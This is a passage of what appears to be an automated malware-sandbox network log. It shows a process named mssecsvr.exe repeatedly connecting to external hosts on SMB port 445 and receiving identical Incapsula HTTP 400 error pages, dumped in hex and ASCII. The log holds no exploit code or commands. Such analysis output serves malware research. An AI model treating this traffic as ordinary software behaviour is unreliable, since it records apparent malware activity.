73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 36 33 38 36 30 35 30 31 36 34 34 37 31 32 37 34 33 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=13-135012797-0%200NNN%20RT%281658338441775%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-638605016447127437&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-638605016447127437</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	45.60.207.29	445	192.168.2.7	60596	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:04.954333067 CEST	11569	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 9-38779398-0 0NNN RT(1658338444870 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 33 38 37 37 39 33 39 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 34 38 37 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 30 38 36 35 34 39 39 31 35 36 37 31 33 33 35 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 30 38 36 35 34 39 39 31 35 36 37 31 33 33 35 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-38779398-0%200NNN%20RT%281658338444870%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-190865499156713353&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-190865499156713353</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	50258	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	45.60.207.30	445	192.168.2.7	60604	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:05.093121052 CEST	11572	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 14-10637666-0 0NNN RT(1658338444720 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 30 36 33 37 36 36 36 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 34 37 32 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 30 37 38 30 35 38 33 37 36 37 36 34 32 37 36 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 30 37 38 30 35 38 33 37 36 37 36 34 32 37 36 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-10637666-0%200NNN%20RT%281658338444720%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-50780583767642766&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-50780583767642766</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	45.60.207.30	445	192.168.2.7	60931	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:08.143492937 CEST	11581	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 9-3845798-0 0NNN RT(1658338447767 2) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 33 38 34 35 37 39 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 37 37 36 37 25 32 30 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 38 30 37 35 32 36 32 35 30 37 30 39 34 36 36 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 38 30 37 35 32 36 32 35 30 37 30 39 34 36 36 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-3845798-0%200NNN%20RT%281658338447767%202%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-18075262507094665&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-18075262507094665</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	45.60.207.31	445	192.168.2.7	60935	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:08.252691984 CEST	11584	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 11-42713359-0 0NNN RT(1658338447565 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 31 2d 34 32 37 31 33 33 35 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 34 37 35 36 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 31 35 37 38 34 31 39 30 36 36 39 37 35 32 33 33 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 31 35 37 38 34 31 39 30 36 36 39 37 35 32 33 33 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=11-42713359-0%200NNN%20RT%281658338447565%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-215784190669752331&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-215784190669752331</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	45.60.207.31	445	192.168.2.7	61272	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:11.303112030 CEST	11592	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 12-64662915-0 0NNN RT(1658338450614 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 36 34 36 36 32 39 31 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 30 36 31 34 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 31 35 33 34 34 39 32 35 36 31 35 31 39 36 31 37 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 31 35 33 34 34 39 32 35 36 31 35 31 39 36 31 37 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-64662915-0%200NNN%20RT%281658338450614%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-315344925615196172&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-315344925615196172</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	45.60.207.32	445	192.168.2.7	61276	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:11.414722919 CEST	11595	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 6-2459514-0 0NNN RT(1658338450727 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 36 2d 32 34 35 39 35 31 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 30 37 32 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 32 30 32 31 37 38 31 30 32 32 36 34 32 37 35 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 32 30 32 31 37 38 31 30 32 32 36 34 32 37 35 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=6-2459514-0%200NNN%20RT%281658338450727%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-12021781022642758&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-12021781022642758</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	45.60.207.32	445	192.168.2.7	61585	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:14.453938007 CEST	11605	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 7-4129229-0 0NNN RT(1658338453768 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 34 31 32 39 32 32 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 33 37 36 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 